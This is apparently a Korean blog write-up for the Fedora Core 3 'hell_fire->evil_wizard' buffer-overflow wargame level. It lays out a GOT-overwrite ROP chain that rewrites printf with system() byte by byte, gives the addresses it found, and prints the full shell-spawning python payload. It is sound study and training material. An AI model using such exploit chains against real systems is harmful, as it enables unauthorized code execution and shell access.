systemhacking/practice

fedoracore 3 hell_fire->evil_wizard

qkqhxla1 2015. 2. 25. 19:05

http://turtle1000.tistory.com/68

http://k1rha.tistory.com/entry/LOB-Fedora-BOF-GOT-overwrite-hellfire-evilwizard


를 참고.


| buf(268) | +

| strcpy@plt | ppr | printf@got+0 | system[0] | +

| strcpy@plt | ppr | printf@got+1 | system[1] | +

| strcpy@plt | ppr | printf@got+2 | system[2] | +

| strcpy@plt | ppr | printf@got+3 | system[3] |  +

| printf@plt | AAAA | &/bin/sh |


ppr 가젯을 사용하는 이유는 맨 마지막에 다시 씀. 그냥 저렇게 구성하는거다라고 알고 이해하기.


어쨋든 이런식으로 페이로드를 구성하면 된다고 한다. 하나하나 살펴보면. strcpy함수로 printf함수의 주소를 system함수의 주소로 하나하나 덮어씌워서 마지막의 | printf@plt | AAAA | &/bin/sh | 의 printf가 호출될 시에는 printf함수가 system함수의 주소로 바뀌게 되서 쉘이 실행된다고 한다.



#include <stdio.h>

#include <string.h>


int main()

{

        char *ptr = 0x7507c0;

        while(1)

        {

                if(strcmp(ptr,"/bin/sh")==0)

                {

                        printf("%s = %p\n",ptr,ptr);

                        return 0;

                }

                *ptr++;

        }

        return 0;

}


/bin/sh = 0x833603



system = 0x7507c0, pop_pop_ret = 0x804854f




strcpy@plt = 0x8048494, printf@plt = 0x8048424, printf@got = 0x8049884



c0 = 0x8048420, 07 = 0x8048154, 75 = 0x80486fa, 00 = 0x80483d4

75의 주소를 구할때 왜 첫번째의 0x8048513을 사용하지 않고 두번째의 75를 골랐는지는 잘 모르겠다. 실험결과 첫번째 75의 주소인 0x8048513으로는 페이로드가 제대로 작동하지 않는걸로 판별됬다. 이유를 알게되면 추가함.



결론.

| buf(268) | +

| strcpy@plt | ppr | printf@got+0 | system[0] | +

| strcpy@plt | ppr | printf@got+1 | system[1] | +

| strcpy@plt | ppr | printf@got+2 | system[2] | +

| strcpy@plt | ppr | printf@got+3 | system[3] |  +

| printf@plt | AAAA | &/bin/sh |


system: 0x7507c0     /bin/sh: 0x833603     PPR: 0x804854f

strcpy@plt: 0x8048494     printf@plt: 0x8048424     printf@got: 0x8049884

c0: 0x8048420     07: 0x8048154    75: 0x80486fa    00: 0x80483d4


./evil_wizard "`python -c 'print "a"*268+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x54\x81\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\xfa\x86\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\xd4\x83\x04\x08"+

"\x24\x84\x04\x08"+"aaaa"+"\x03\x36\x83\x00"'`"



잘 보이게 정렬. 가독성을 높이기위해 일부러 줄내림을 사용했는데 공격 시에는 줄내림을 지워야 될 듯.


ppr 가젯 사용 이유.

pop_pop_ret함수를 보면 pop eax, pop eax, pop ret인데 왜 이걸 이용하냐?

첫번째 ppr가젯의 리턴주소는 위의 페이로드를 참조해서 원래는 printf@got+0이다. (어떤 함수의 ret은 바로 뒤의 4바이트이므로.) 그런데 eax에는 리턴주소가 저장되는데, pop을 한번 하게되면 esp가 4 증가하게 되어 printf@got+0을 가리키던 ret가 system[0]을 가리키게 된다. pop을 한번 더 하게 되면 동일하게 system[0]을 가리키던 ret가 두번째줄의 strcpy@plt 를 가리키게 되는것이다. 



'systemhacking > practice' 카테고리의 다른 글

overthewire vortex 0~  (0) 2015.03.28
fedoracore 3 evil_wizard->dark_stone  (0) 2015.02.26
io.smash the stack 6~8  (0) 2015.02.21
fedoracore 3 dark_eyes->hell_fire  (0) 2015.02.20
fedoracore 3 iron_golem->dark_eyes  (0) 2015.02.17